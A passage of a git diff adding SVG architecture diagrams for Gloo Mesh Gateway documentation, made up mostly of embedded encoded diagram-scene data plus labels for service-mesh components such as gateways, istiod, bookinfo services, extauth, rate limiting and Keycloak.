MDAxNLJm+1x1MDAxMIZhbclcbtVD7vsnXHKhx9dqfD9Jq1H97jb3ZDvHi1x1MDAwZeiTXHUwMDBlsTtYJI8q6MNMXHUwMDE4X4u7qHWUYF/+7kVVr9RUXHUwMDBmzmm2ctE4eS4+42/Yty3Yt6Pl/Vx1MDAxZfZ72GVo0v+Be0STilvr+lMsXHUwMDA1W6VrSfBqRlx1MDAxN0uSICWmabSwJJ31XHUwMDFh0n9W1Yw+POao1Ww3h5ZaXHUwMDE5a1x1MDAwM8olx1x1MDAwM0tQ2Vwippyb5/rAUkprWTqCqV6o37KMLUns4+Eqq1gqLXvDxtmo8DZcdTAwMWU2I48seYCBx1B0kaXp4G3aXHUwMDA2RVx1MDAxM1lcdTAwMTZcdTAwMWXucjJV/CDnmcdUXSRZb1J/+UaW20KWO1re72G/h93RsMtcdTAwMDCr/1x1MDAwM/dcdFiZvc9cdTAwMWVSjFx1MDAwYi7Cq8bg5YwuYkVBypFEXGaxXHUwMDAyXFwxxZD2eDa+XHUwMDBmxFqtNFx1MDAwN19cblWXwDxcdTAwMGZUnU1wLVx1MDAxNlxmXGKQXHUwMDA26jVp10iG71x1MDAwNXfLs4900p/0KW5fZdsx+fR69bpcdTAwMGU8/TpcdTAwMGU0zey5XHUwMDAzXHUwMDFjJlx1MDAwNNLYXHUwMDFkyDP5XHUwMDAx0alDjUGphVJcdTAwMWNcdHshkDCRKzZ8SqhPWSPpKfVhmodQoXZoLy5LhVx1MDAwZtJne4r08OVtXHUwMDE1lrfrrW73uF1cdTAwMWQ0jouVSrcz+KfTKcKvQEBVX45cdTAwMTfrxq5cdTAwMDWcdsx9i0XeXHUwMDBlmmAgx9vb23JhPXVkSFx1MDAxM6TIXG6prMG7XHUwMDFlUZbHhDiaK4wkYVx1MDAxNLH54lx1MDAxOIRg7CBcbjyPXGJiXHUwMDE0i4DG5Fx1MDAxYvA8XHUwMDA23c6JlJxcdTAwMTLCXHRXPn3JtXBgciB7wFx1MDAwNjVVfrxcdTAwMDEvXFxyjtxNcf+VtTGC1crRQjcySpiCV4WJXHUwMDA0me5qa/2zXHUwMDE2XHUwMDA1d1x1MDAwNNVaI3OMa6Q//nnDitUxgsM05yfFlDYuSWRcdTAwMWGlUYKQT/9H6lxiwjlTXHUwMDEyXGJSI3Xg/Vx1MDAxZo+t1G0uXHUwMDBmXX9cdTAwMGX3l/vn6qJccrbcalFcdTAwMDBs5aDGw/vAr09HYjzGp9MzOS1+JM9p+jiejLpoQ1Q6wpT9MVxy0yVb6P9ITMVa4FxmalqYu6PT1+lcdTAwMDJhk2xcdTAwMWOMXHUwMDE2bVabY0kod0WwfJZsxMJcdTAwMDHjhlxuKU1bTur1vc1K12C+wziLL1x1MDAxNW2LnLhcXL60Klx1MDAxN+e38czdcbXT7E/vz2Pipon95Fx1MDAwYnIowUpJiUw5R4a4V7pcdTAwMTDl6FklYnPkgJHaTlnY/UlcdTAwMTcrhc3e9Vx1MDAxMNeK4mVJqL81UFx1MDAwNFaf61naR2hcdTAwMTGTpY89dIymXHUwMDEz2kX9q+p9l7S0jLaIUUJcdTAwMDbme3PhaFBzXGL/KMJnL1x1MDAwYvv1jWawqUlOXHUwMDE52WPw1u9n+Fx1MDAxOVDDXuWjN2w1Xkjusp+97TePT5r+XHUwMDA21LdDf41MhN0s72FccrurXomHtVxuhzLsMo++/1x1MDAwMz+H9UisnbdKJPZUVc2pXHUwMDAwdIJW8C1cdTAwMDSuZ0Rd+qBcdTAwMWZcdTAwMDNcdTAwMGJlSeawbenHbfj0lcRUwub8UZmqne7wuNmZ+dW+1LG/XHUwMDA07y06/9zTXFxcdTAwMWayXG57XFxcdTAwMTiWXHUwMDE0U0XIXG79SzP8ZZC7aJSv0HNxqPkra79Wi9FcdTAwMGVBmUFWYT9l49ihUiBm/C9cdTAwMWPwu5Ulw8SgbFx1MDAxObJSZfJRVUST2tKP+dvmQ/myry9TibN7ju9cdTAwMWau3zZXpDtcdTAwMWF2V0j44yZ30meNerb/cnrDkolkh9ZcdTAwMWW3MO5bXHUwMDFmn+ZrXHUwMDA1Rbq8Vr3s39VEM75ccrB2WLv2Pewuhl1cdTAwMDYt/Vx1MDAxZlx1MDAxOHK2jfdm9vnqpJR6yj6LSnuIzmNEhiPcL4eswlx1MDAxNWPigaymsitdJd87eJ+iXGZZXHUwMDAz9KNQjtqWftxKXHUwMDE4ilbEXHUwMDE0evnTSvh9PV5dXHUwMDAy9ryF+0JgVSsjansoXG7lM5uJhFx1MDAwZkXpoFTubcJrXHUwMDBmb7JcdTAwMTnrZoh6LdSq68DUL2RDxaRcdTAwMDNQjzBA5ObseZ5ccjFFXHUwMDBlZ+aIS1x1MDAwMWjf1ak084Gl3khcdTAwMTSYhcJcXJNcdTAwMWRW59skXHUwMDE05Wpwcnr9fJWLV6pcdTAwMTdkKFxuXHUwMDA0J9r93etcdTAwMWZf/lx1MDAwZVx1MDAxZIrSXHUwMDE4XHUwMDBle6VmJ3JcdTAwMTEoPvNcbuRv++msYNbSKkxjXHUwMDBlinaFOmbBe1x1MDAxY1FcdTAwMDaXXG5YmFx1MDAxYb9cdTAwMGZAXHUwMDBipudcdTAwMTnc1C8yh7NCzrrm0Fx1MDAwMNfQJlx1MDAxY460w1x1MDAwNDGVQTGlnFx1MDAxMulleKVcdTAwMWNter9cdTAwMTGpseDaXHUwMDFieDLreYGJ3lx1MDAxZvt/SeBJsFx1MDAxMjlaXGI8XHUwMDExXHUwMDE4pDbDgmDQV2RZ4Fx0094mKKFcdTAwMGWG44T0n8qxoixcXD1O1On7+bCQylomJYhcdTAwMDBwJ1xmiNWcXHUwMDEwb5c/glx1MDAxY6JNXHUwMDE3aYa05HCzt1fMQZ1cZtup21xcXHUwMDFluv5cdTAwMWPvL/fPlUVcdTAwMWLDdiOCXHUwMDExzSlA6/DY5aTTeYy1xq2P4zat4n5mevLwYVx1MDAxM22RMVwiNMfI3rKcYCTcfm+7bFx1MDAwYlx1MDAxMcpurTQsXHUwMDFk6bpcdTAwMTTx6Tjl6lx1MDAwMfpTllx1MDAwMWtQilx1MDAxMP2X9M+zR5rMvXNIXFxt3VZzXHUwMDAxy6/IxTZcdTAwMDPEXVx1MDAwYtxcdTAwMTNcdTAwMGJPkcaahC/G81x1MDAxYX/JXFxcdTAwMTfaLJe/UmpUT912XHUwMDFhT7ZQ+OjwMFx1MDAxNsClmiBBZ69cdTAwMGJcdTAwMTZcYmBcdTAwMTNHK6BIXHUwMDAxwlOigFj4XHUwMDEwoVx1MDAxZNZq4T54hIhFptWMIM1cdTAwMTQ91MjXtTxcdTAwMDDv2NdcInCJ2q+xXGLe8XpcdTAwMTY+gHxcdTAwMWKDXHSKlCaUhVeSp/VJrSVcdTAwMWHXyetJalxcXHUwMDE5fFxmr4updORcdTAwMTmMKO5Qwk3XbPNKXHUwMDE2XHUwMDE5jM4pyYDGZVx1MDAxYnBcdTAwMTjxq4vq4TDTWlxyYS12d/BcdTAwMTRFXHUwMDBlI1x1MDAxMeEwsiaHKWu1XHUwMDAxsK7Faq1cdTAwMDFJY9jtd8b3j/VWPP1yLZqdu3zkMypnXHUwMDEx/WBcdTAwMDLYKlx1MDAxMVx1MDAxYlx1MDAxNlx1MDAwYpVSuXtcdTAwMWSGXHRcdTAwMDdcIsZ4jzHOv5/h40RrTjpcdTAwMTeCXGZcdTAwMTLJe/76Nlx1MDAxOPSv7sX4058wR447d6L9MSqSu3rxeqpcdTAwMGabhuRSrFBcdTAwMTGyLONJMq6ksq+Z5M3TxWNq2M9+RJ+DQVx1MDAwMTpE2yxJw8GCU0UoJYJcbrVcdTAwMTNcdTAwMGVcdTAwMGWnI7FiJuCZ/mEw9MCVpLtU4GJJXHUwMDFlgVx1MDAxMVx1MDAxMN1cblx1MDAxNXnQW2v8Mr6NZ1x1MDAwNrRfXHUwMDE1/LiOssPrw2AxqpA2XHKDwZBaXGJSlIp/XHUwMDAxi/lkPPrAUFx1MDAwNYJAwlxc/ihcdTAwMGWjXHUwMDEx4TC6QdihdrnaPKpMUIZcdTAwMDCRhjf35Gny8fXy9Tr5OOpcdTAwMTTKd5f39fR7O+rHPVx1MDAxNDmIf15zTFx1MDAwNpwlXHUwMDFjSoG9TON07Vwio/0nykhcbpsn+Vx1MDAxZeMrgoBp/H74enWHziZ13ms+XHUwMDBmTi9cdTAwMDa90tBcdTAwMWaYRiE68NDyZHa0vIc17K7yZFx1MDAwZWtcdTAwMTX+8GGXxUj6P/BzWI8g3HUsI+gke3aqXHUwMDAyVKe4/DyYXqpzg1x1MDAxNzSi2Fx1MDAxNrQuXHUwMDBm0rqKOmpLWnc7RWAxQHCm/qySWlx1MDAwM4CNlWK/cnTTrfhD3Vx1MDAxZFx1MDAwNTQugZGLXHUwMDAweG6e60NhSa1uWXOYXHUwMDA2y6xXOPnI14ZTnHwslN572Vq2krnKTdVaSeNfmIFcdTAwMDO0ZIJRfmXFzZ97UMpcdLAsXHUwMDAympOEYr1ZXHUwMDFi4i0n4HAkXHUwMDE5lpREM1x1MDAwMYckMv3a1cnksvdQSt5Pb4S4mNY2V6U7XHUwMDFh9jtcdTAwMDHnXHUwMDEwd+172Fx1MDAwM1x1MDAxYXZcdTAwMTlm9X/gXHUwMDFlMauU9qhcdTAwMWKptMKYqPAnXHUwMDFlwetcdTAwMTldyEqDtKPQXHUwMDBl35J23Fx1MDAwZWTllMDGiD8q/Vx1MDAwNlx1MDAxMODRuDlsXHUwMDFjnXfeu/6NjXdcdTAwMDVal1x1MDAwML5F0Low0/VhK1hSNtZcdTAwMDTUipRcdTAwMTIr5I1Xz2R6XHUwMDFjXHUwMDFm6vv+Tbo3md6cXHUwMDE0psLWnS4yXHUwMDBlXFxcIlx1MDAxZPyLK11tq2dsyZiJryZISqKZIHSzYJ3tti6QXHUwMDFjMaWp3l9nkSCld1tRXHUwMDA1naynq5e9OqlUe5nk7ftFdNHloTlwd7S8O1x1MDAxYfZBZ7Wi6u7l9fmyX1fj2OhtbCmDv9IqZJrouC1cdTAwMWJP9y/3V7l30TpcdTAwMTbVRmtcdTAwMGLj3qGyrFx1MDAxN1H/XHUwMDAyP1xm74uJXHUwMDE4SuC3zlx1MDAxNsZcdTAwMTUnIz3J3ORq7cJcdTAwMDdcdTAwMWRcdTAwMTVj+q1xwrcwbmKUPc/dxFx1MDAxZS6fT8SkSj7kS/PSsm3/Yio7lGGXwXf/XHUwMDA37lx1MDAxMb4rZfc4I0WoUZzh4XvwekZcdTAwMTe+k1x1MDAwMJjAlYNDwYQvauKgJVx1MDAxNkrwXHUwMDFkpu5GXHUwMDEwvSda3e5RpjpofLnHeVx07l1cdTAwMDTv81x1MDAxM91cdTAwMDC7M6vLWTNOXHUwMDAxvKtcdTAwMTWCnESvnunU4qfTbmFy2SxeTVpvXHUwMDEzXHUwMDBiW1x1MDAxZVx1MDAwNHbnRMOblCNu+j7wXHUwMDFkZbKs53BGmjCw9mU0sXv8Ma6oyFx1MDAxNV8rZ82n6b3MXHSSL26uSL+x+06X97CG3VnwxUGtwqFcZrs0SsL3gXuErDogSIJIXCIpXHUwMDE2K/Q8XG5ez4OErJxcdEeE0Y5fhFilVFx1MDAxNFx1MDAxM/VHuZtTg2Gz++VgdVx00FtcdTAwMDSrn5NcXItcdTAwMTGVtFZ8UlhRxalcdTAwMGVvOp7m3l/w+Uf8XHUwMDA0Np2knzBcdTAwMWGdqFx1MDAwMzj54cj5zYVELFx1MDAwNishXHUwMDFh7uRn02AlV2Lubz6k3nRcdTAwMTfEmMZcdTAwMTRFXHUwMDE0mj68Zc+L+cZTJpWrd4X6QJPCyzRcdTAwMWNs2ERcdTAwMDf58nnoqk+X1Xq148/krlx1MDAwNImvXHT3/zmX9ZQqtyeuXHUwMDAx6SpQulwiPDM/5PDgvFu8yWdcdTAwMWaL49fHbDHRbUW/eoJkxDHtp0w1XHUwMDFkQuaVKlx1MDAwMf50c/ruXHUwMDAyXHUwMDBmpU/yqVx1MDAxZi9zRFx1MDAwNaZ6f3W/g3i59lJcdTAwMWK8dF/vxJC9XHUwMDE3Lmmym0dxSyn96PDyWas5tyP75OWfc1x05GV7pTZGrNysTHUypWn4PPLgvYyk90hLXHUwMDEzryi0lIJTtlBcdTAwMDZcdTAwMDVheI9cdTAwMGJlgiAklUE9QTc5+CWm7I2QmmOMXHRWLonxWZjRwdL4lLHSJkRRe7icIJi+KSXxL2mjZauJXHUwMDE2rC+O3M2yTPtLpbnUgC+xiS5y3fWzXHUwMDE3XHUwMDFmc4gggiolpMKmLsnPOyyF2lx1MDAwZbau0rGdxszloa7P8f5y/1xcXHUwMDE1Klx1MDAxMGHNv5VcdTAwMTIwMFx1MDAwZm98J6tcdTAwMTcqL29cdTAwMWHTi/xNq5SaPufLp+P1cII1XHUwMDE4ulJcdTAwMWM0qlsus1x1MDAwNCTGXHUwMDA0omZ94XWxVJpiXHUwMDBlglx1MDAxNTdcdFx1MDAxYlx1MDAxNFxm8F15p33yb72VXoEyXHUwMDAwrpBcdTAwMWRC/q/Lv1xyrciLo2FcdTAwMDNcdTAwMTTqtPpPZ9ioXHUwMDFl9atvo+rAX7F/eTlWy9xcdTAwMDI5cclJXHUwMDExs7EjZlx1MDAxY/Sbkjw8cs+WMne52Fx1MDAxMzqPX02eXHUwMDFm8/3XXHUwMDE33XuKuLLHUjv6k1x1MDAxZOfVPaUmn2hr7Ljd7Fx1MDAwNKZcdTAwMTBcdTAwMTIgo6OZnKBcdTAwMWFcdTAwMTdZ8lxceW6op9T0oVa4XHUwMDFmsOSrP4j/PitafdxcdTAwMWQt7/ewOzyC2lWU12Gt7qFcZrvsaMv/gZ/Delx1MDAwNOzuXHUwMDEzgIn9bGvWvVx1MDAwM67w8Dp4QaPqhjP4OUCdc+LwbanzraRTKKBcdTAwMDCt5Vx1MDAxZZX4XHUwMDFlzrcuqpNyq1t89Vx1MDAwNdU7a79cdTAwMTdcZk5cdTAwMTeh9u85XHUwMDA28mKAXHUwMDE3zVxurCXGmislw6dPjNi4Mnm+eWW343g/e90+ezvLdqNv6Vx1MDAxMobtvEgoZ3O8KDfhRXuhKeTDh8rb04RyzJSAfTlQUzekr1xmXHUwMDE3k+nTq1x1MDAxOLs+q1RT5IXmWO8s5tJu7v5cdTAwMDGYgHUomDnR4IK4XG6nXHUwMDFk/XKWUVx1MDAwNymkpNZmglhR+vNcdTAwMDaLr8w2qcFcdTAwMDfFXHUwMDE3tWL5XHUwMDBly1E9Kcbv5WuXI2d+UoSaNlxusFmEwNZcdTAwMTJcdTAwMWZcdTAwMDdcdTAwMWVZOqk13HSLjP6lnjpB/jP3q1j6XHTs3iz4XZGlXHUwMDFmcTHK7HeqPj/yl/vn6qKQW2GJqUrCKNLho1GleFXpt4fcvS7m9cOTjMVf2snIi0KlMVx1MDAwZlx1MDAxMoVcdTAwMDJ9gSiUfpBEc+lo1+Uq9/er35owneF2XHUwMDE5gVx1MDAxM1x0yVx1MDAxOFpcYplusoxLMZOOXHUwMDE05IyPXGaijqtcdTAwMTeGXHUwMDA0kFx1MDAxNyxcdTAwMThcdTAwMGb3XHUwMDEwgfE5qVx1MDAwMZS87CNcdTAwMTTNPcJDfytKXHUwMDFka3iRsKavXHUwMDEyXHUwMDA1XHUwMDAyR1x1MDAwMk2HXHUwMDE2OpcjieRl4lx1MDAxYVx1MDAwNq1ePmSrjD+MclE3hVx1MDAxNJfIoZIxrqgkhC+EJGCQSFx1MDAwNCHCNaNcdTAwMDaR2lvKYSVYMbjhVKApRPzaynmDXHUwMDEygJew4O5cdTAwMWV0h2tcdK3a9+1o3O2/2tu+fXlcdTAwMDCBd1rrqX6gMnv7caGIaYPAwvPhe6vIPmpJys9cdTAwMDbX9GP0fEJcbomyhVx1MDAwZiNyvqCEJFx1MDAwZSh1QFx1MDAwMCDq6EKtXSArXHUwMDA3a1xyeoRRXHUwMDEzkmNX/CGY0Fx1MDAxYU0guCO56fWuQVx1MDAxMmCmfcpbY0RcdTAwMWRcdTAwMDJ3gNCg8CSOPDiAUqkwdkO1g4ZcdTAwMDH2Tkk2gDBttcpcdTAwMGbNWP2+1H6e1PPlbOpucutcdTAwMGZcdTAwMTCoXHUwMDE2XHUwMDAyRKpUhMG+alfLol9cdTAwMDBcdTAwMDE7SmnJiTaxJLD/v9TeRkbK3mCAlcDM5SWtkCr+XHUwMDA3z1x1MDAwN7eTtomgXHUwMDFmTcmQcKgtvpYgJVxcoJu74lx1MDAxMn5cdTAwMDNmpJxcdTAwMWZ9JGav0ufMnINcdTAwMTb9vENxXHUwMDExIFx1MDAwZbaB5bdi32wg5HbM879sXHUwMDBlXHRcdTAwMWIjXHUwMDA0V1x1MDAxZVxm91x1MDAwM75ZVYqBdlqSUK61Rfkyxz3rSJgth+ewuVx1MDAwZsB3cj7JXGZel1x1MDAwZUD0XHUwMDAy9VL3eJRcdTAwMTLHNVx1MDAxYVF06YCgqlx1MDAxZNdcZqica6/o4YSl41nZy1xcjFq/r4euQorK5VwiPvVYvyo9N9tx0lx1MDAxZSfUSJXLXHUwMDE3TeQn4k3LT45cdTAwMTDjQlwiTiRTkrlcdTAwMTbjp5DXXHUwMDBlYVJRREDAc0NFXHUwMDFlXHUwMDE5XHUwMDFmSu9cdTAwMDS34Z7TO0wxsGw4RXxW4JQwz5ykw4XWsHem+LhUyNvxc1x1MDAxZK3yQ3z/9XNP/i72erkhsM/vL/X3e7M6PrVcdTAwMDdE/PVzXHUwMDAyRrxVzVf5n//963//P6lZo3QifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientauthorizethe requestKeycloakhttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg new file mode 100644 index 0000000000..a4287e3dea --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVdcItuy7vv6XHUwMDE1jjqvm7yzb86botJcYlwi2CDcdVx1MDAwN4NOWulcdTAwMDXxjPPfb0yqSlx1MDAxMshMkk6TKnLvjbtcdTAwMDQjJzNnRHzR/88/Z2c/RtNe9cd/n/2ovpeL7UZlUJz8+I/5/bg6XHUwMDE4NrpcdTAwMWR4i8z+Pey+XHLKs0/WR6Pe8L//z/8p9nrW/K+scvf1519W29XXamc0hM/+X/j32dn/zF5t91x1MDAxYVTLo2Kn1q7O/mD21vx2UrHl3952O7NbY1wiXHUwMDE1XHUwMDE3XHUwMDFjXHT6+YnG8Fx1MDAxMu43qlbg7Zdie1idv2N+9UOOlZg+15+6OpMp4Fx1MDAwNOKVbjQ9v+1Lo92+XHUwMDFmTds/v1ixXFx/XHUwMDFi2Fx1MDAxNjVcdTAwMWNccrqtarZRXHUwMDE51c3dl37/+XfDLmzB/K9cdTAwMDbdt1q9U1x1MDAxZJpcckCfv+32iuXGaGrooPlvf+6C/XPv8C8lKLOI4lx1MDAxMrPZ6+eb5s8p5lx1MDAxNmNcXHNNXHUwMDE0IYTxpWWFu+3uwCzrv5jmiMv5wkrFcqtcdTAwMDar61TmnyFElapi/pnJry9cdTAwMGKUrV93N69CzW9TrzZq9ZH5jMLWfJHwOn8sw+rsiVx1MDAxMKRcYsJcZsn5O2ZcdTAwMDG9WGV+On7SVJdcdTAwMGbZVJM+Xby1efymXHUwMDFmKTTuXHUwMDFlfvx6//8tb3y9OOj92uBcdTAwMWaz72P7juafV8sn0H5cbm2H4yMzvVx1MDAxZSTDscwoXHUwMDFhylxya9ejyeT5+pPWwpEtXHUwMDBlXHUwMDA23cmPz3f+9z9edMOVdGHwkuj3WDzRSyanLTp8XHUwMDE2/uiufOW3XqX483hjwbRQWDKk9JxF2o1OXHUwMDBi3uy8tdvz33XLrTlH/GNb8GasqIQ7K1wihblcdTAwMTbwdH2z4qhcdTAwMWV/nZy/J6bRSWHQXHUwMDFjtsLjq2v0dayIt2RFRiwmXHUwMDA11si8KrnIi0xYXHUwMDFjK42I0JgxXHUwMDBmXkRKvvCSNy9iUlLKiVx1MDAxN5GyiO1iwoFcdTAwMTeJsLT9Ysu8qFxmXHUwMDFmckTxwVhxaP6xJSuW0336kruOZmqVay3uXHUwMDFlnlx1MDAxMiyR2lx1MDAwMyuGUlx1MDAxMZlpIZJcdTAwMWZWwq1SXHUwMDFjRd/wOHyMrMilOytKKVx1MDAxNNHcNycmXHUwMDEzN4NO47w4vH9cYkXbpVqnXcf3gedEJZFFQftLPXtdUYqSYUyYxlRcYkFcdTAwMGWiXHUwMDE0MSFogcuUk1JcXOE8zFx1MDAwNUJcdTAwMTRcdTAwMTEtXHUwMDBmxnq7aMFG8/E5fkGT43ohXHUwMDFlXHUwMDFmplx1MDAxYrnq5KO9XHUwMDA31ruU3YzMX3VahWaqXHUwMDEw4sOXV6L0MbKeXHLXLLGeklJLwpT2zXrtx+tRt3s9fmrpWnSQZtcvnUjgWU9jie2sp1x1MDAxNnmPKZ+89/1KXHUwMDEwOFFcdFx1MDAwMKv6YJz4TUowUFx1MDAxYyNcdHbjXHUwMDE4glxioYT6Z5hoTvVcdTAwMWZvxrXKezzWyYWRvKZcdTAwMGYy8Fxmw7G2XHUwMDAwakkmZq9kgWFAXGZaxFx1MDAxZsPMLk+GXHUwMDE5XHKKnWGvOIDztco0SstFhljlXHUwMDE5pYglbFx1MDAxN19mXHUwMDE54DUpMcfBNOFE7e2ynn16zzWL/VhcdTAwMGVcdTAwMTcuXHUwMDBihXO1XHUwMDA35TUsPupcdTAwMTRuNzIvLJW+eFx1MDAxMDR1S/t7oLuDyVx1MDAxOShcdTAwMTbn1Fx1MDAxZI9cdTAwMTKqqKZcXErfTF7JVNPtSmR4XHUwMDFkvyhcZq9QXGKfd0Qt6ExcdTAwMGWQnFx1MDAwN4LJXHUwMDE1Xc/keJmtNaegyJn6PkxcdTAwMWGMg6yocD3ImGFOtNhAWyVvy0mRmk7L70J86M6LeJ1e3Vx1MDAwNv4gKy0s5WZZMXY86Fx1MDAwZWnG4UhcdTAwMWZOVVx1MDAwNdHF8aeoXHUwMDE0IVxc7SymXHUwMDE5UVxiU/9cdTAwMWGldnfxOHh8eU8+1FqXd7XndknEU1/HiNv6/fFMoygkkVx1MDAxMEov2lmCYoszIVx1MDAxMFfwtpaHcfxjKdhcdTAwMDKb0VVOpDZcdTAwMWTz28eBXHUwMDA00lx1MDAwNFPKXHUwMDBmxnu7wMSb+E08d1x1MDAxMZaF5nu+2UuGp1x1MDAwM8GujpBHOOduPKI4xYIq5p9HknX6RC7yuYvk9UDmapnrt4tBNujKSlx1MDAwM650R12CK7+oa1x1MDAwN20lXHUwMDExWoe4MFlBXFxCY1x1MDAwMiqWnHxcdTAwMGZcdTAwMDfVXCLUNWYlpYmBKOY/ZJVcdTAwMTaYVlqj2kRXLiOp27tkf3j7cFx1MDAwNFx1MDAxY6LcOVx1MDAwNFx1MDAwZaBcdTAwMDVcdTAwMDaaQlx1MDAxY1x1MDAxOElcdTAwMTJcdTAwMWL+3zOHOFx1MDAwMDhcdTAwMDB5yH6txIux1lgrzlx1MDAwMlx1MDAxYaRK1sehRDjZqIYuXHUwMDFmi1x1MDAxZrX3RCHRXHUwMDFmXHUwMDFlIY9w6WrzXHUwMDAwemb+syvqtFCeZuSlTlx1MDAwZlx1MDAxMyn2Uq6nXHUwMDEyaeHCXHUwMDFmS+d8kTvY13FcdTAwMDfWzJ07qFx1MDAxMj6tXHUwMDFkJUhVl725o1RlpUrJXHUwMDAxY1x1MDAwMcRyYYRPZuGrXHUwMDEwXHUwMDBiTFx1MDAxYoZcdTAwMDBnXHUwMDA1kzkuXHUwMDFhyUTkgZGOjpWKrWjuLl3UXWfmXHUwMDE4Vd9Hfq1cdTAwMWI5apSG1Vx1MDAwZkXiz4328+tLqPpM2Vx1MDAxZaymq0I6jJMsPumWkvjueaRvou/3e6BbXHUwMDFll1wi8rJz0Xxo0HtcdTAwMTWdPjTDV6U90D3Q9p7IXHUwMDFhXHUwMDBienh+TlLTiyd1UcelVu0pVbjHwX1mydbNy+1r+uNjejM5r7zmOvSug3Za7sIq/uP3i3yfdltYpz/FRlx1MDAxMKdKS+Q/S8L76Vx1MDAwNVx1MDAxNfxcdTAwMDGE8lBvXHUwMDA2/PlSby+za3unNCirVZ3G5lx1MDAwZY3fOk1cdTAwMTHGXHRX8vuMon1cdTAwMWXa+eHodkb3jY+fXHUwMDA3b+G318XXRnu68Hxnp9kkYnRqXHUwMDAzWPTZv51cdTAwMWGsY1Kc2rd/WIXbz1x1MDAxMNriXHUwMDFmnrdcdTAwMWK1zkzxwFx1MDAxN6pcdTAwMGVcdTAwMTa4YtQoXHUwMDE3259cdTAwMWZ4bVQqdjxYhtVcdTAwMTSB5iDmXHUwMDA3y3VcdTAwMDeNWqNTbD8sLfb3UrdHo1x1MDAwMrv6NDBXWFOklH+nxl0jme5/vIc77dFI9oudu+iNdHNqXHUwMDA0XHUwMDA3klx1MDAxMneeZYpcdTAwMDRcdTAwMTeSXHUwMDEyathcdTAwMDSpYEJSXe9f3vP2/aCPXHUwMDBik3YjeZkvjt5OkHRfkPRA23sgsvipU1x1MDAxNuWnQqlZzYbReSR9gSa3f90uXHUwMDFjXHUwMDBi2XWI1PmGwUOkgrnnSWBBiDZBV9/KzXubg1x1MDAwYkk9PPZM+fXYf1x1MDAxMSQliDGT0v99QeTgINJqcTiaVIejb4Kka7DcMiT9XFzt7phUIXe21aZcdTAwMWWK2Vx1MDAwZsjaylx1MDAxN1x1MDAxMitexCOT24/qy6TWTmVCsfx4XHUwMDFiTPqVdS9cdTAwMDBcYsEuo1xiMLi0p67//HtcdTAwMTNn00IoxIQmxJZPu0V2075BqYano6RcbqifNJMqXtW60e6oX4/IcTvLXHUwMDBi9cTNXHSU7lx1MDAwYpRcdTAwMWVoe4+LbFx1MDAxODVcdTAwMWZcdTAwMTTX6U4jP1x1MDAwZVfuu7m3i8zktLlcdTAwMDElu1x1MDAwZes63zB4WFdx17R/ylx1MDAxMFx1MDAwMVx1MDAxY4j960zvXVx1MDAwZSjUXHUwMDA1ram9tKbklpxrTaKWXHUwMDE2dmCsS1Yr05RQVEqCXHUwMDBll1x1MDAwNXw8YLcxXHUwMDFjNbpcdTAwMTVHgIvlwqf3XHUwMDA2cNdcdTAwMDDDXHUwMDE1n+vPXHUwMDE17lx1MDAwMGuxa4olXHUwMDA2VGtcdTAwMWOt/pNjdHxQXHUwMDE5JqIjXFzQr/fDp8Hje4SVgo1qNUHaXCKcwumaveIl/lx1MDAxNNhiSEpcctyLKKU75ey7Z1huhWq5gFx1MDAwNTPEglx0alPo4ryJXHUwMDFhtfxccnl6REROabPtUkN6XHUwMDAytZvTPdD2XHUwMDFliOyTTmtF1UOzlU9cZmpqcvnWnzT3sFx1MDAwYslcdTAwMDZcbr3Keu6x+Xh7P1x1MDAxNu2QqNb3Uaj8gMqyVkSDXHUwMDFi/DR6LEYuUVx1MDAwNPc7e6B7z25Dw0mt1E3etVx1MDAxM8nQa+ElS1x1MDAxMnug+9FcYvNcXCWmiySTUWxcdTAwMTjrXHUwMDE20lx1MDAwZpd/3Sk7XHUwMDE2suvQvfNccudkV0T3d6F75o5cdTAwMWQoVppcboH9h2m9tzmg8F5cdTAwMTPMPOGDsPRcdTAwMWM+LFx1MDAwN5C/PrlcdTAwMDLsLc5cdTAwMTklJ3R/9iPS7nbPktVh/ezfTrG2sK1f4Mleg5WXgf58sT+Xulx1MDAxNcNcbtuJWEmGUnCWXHUwMDEx1/4rXHUwMDFis29ccpK5bl+95uXl7bjUuk2WasWgMyxGjEtLUFx1MDAwNsDfvNoyTVxmXHUwMDAxzojFXHSYwCZriirk7sVcdTAwMDZDmVx1MDAxNb1z4T05lnCHVjG2ytPfXHUwMDFjKzAjfKFEIUgoP1iVho7yQC381kNcdTAwMWWUut1Wo/PSPZt0XHUwMDA3LXhu5aqjQCB84S/9XHUwMDBihFG35yZcclx1MDAxNr7TMus7rMuT+39utFx1MDAwM/tjjF0rYSjihC5kkq9jf+9HXHUwMDFmSGNcdTAwMWaYn2rD/IxpLbRE8+2YMT/HXHUwMDE2iFx1MDAwNYokl6atpLu69sH87sY+2O1cdTAwMTZBnCGpJNe2qrC5W05bSCsmYVx0XGJcdTAwMDP3I5vb4ZftXHUwMDBm3KHIXHUwMDAxi2K+slTfto7iYHTR6FRcdTAwMWGdXHUwMDFhvDmXN787iP5Und5ccmBmjF5+m9XcWlRcdTAwMDL4YohjXCKFkLZcblmzZcWe2WtiXHRAm4hqKrUgVPz6wCd4/1HtVNavybvM37YmbMEhJIRyXGZ6RlxuMu+JYV9cdTAwMTKjXHUwMDAyUUkkJkrCWVlZU7s4XHUwMDFjhbuvr41cdTAwMTFs/V230Vx1MDAxOS1v8Wwvz40oqFeLKzJcdTAwMDa+k/29ZZnRM1x1MDAxNFx1MDAxN8/S/P+dzblq9o/P/////u